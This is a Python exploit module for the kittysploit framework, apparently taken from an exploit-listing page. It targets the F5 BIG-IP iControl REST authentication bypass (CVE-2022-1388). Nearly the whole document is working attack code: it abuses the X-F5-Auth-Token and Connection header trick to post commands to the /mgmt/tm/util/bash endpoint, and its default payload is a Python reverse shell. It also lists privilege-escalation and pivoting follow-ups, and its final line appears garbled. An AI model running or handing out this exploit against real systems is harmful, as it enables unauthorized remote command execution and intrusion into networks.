F5 BIG-IP iControl RCE via REST Authentication Bypass
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_login import Http_login
class Module(Exploit, Http_client, Http_login):
__info__ = {
"name": "F5 BIG-IP iControl RCE via REST Authentication Bypass",
"description": "This module exploits an authentication bypass vulnerability"\
" in the F5 BIG-IP iControl REST service to gain access to the"\
" admin account, which is capable of executing commands"\
"through the /mgmt/tm/util/bash endpoint.",
"cve": "2022-1388",
"payload": {
"default": "payloads/singles/cmd/unix/python_reverse_tcp",
"platform": Platform.UNIX,
"arch": [Arch.X64, Arch.X86],
"category": PayloadCategory.SINGLE,
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
def run(self):
headers = {
'Connection':'keep-alive, X-F5-Auth-Token',
'X-F5-Auth-Token': '0'
}
data = {"command": "run", "utilCmdArgs": f"-c '{self.payload}'"}
r = self.http_request(method="POST",
path="/mgmt/tm/util/bash",
auth= (self.username, self.password),
data=data,
headers=headers)
if not r:
self.not_vulnerable()
returnData
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10 Jul 2026 11:31Current
5.9Medium risk
Vulners AI Score5.9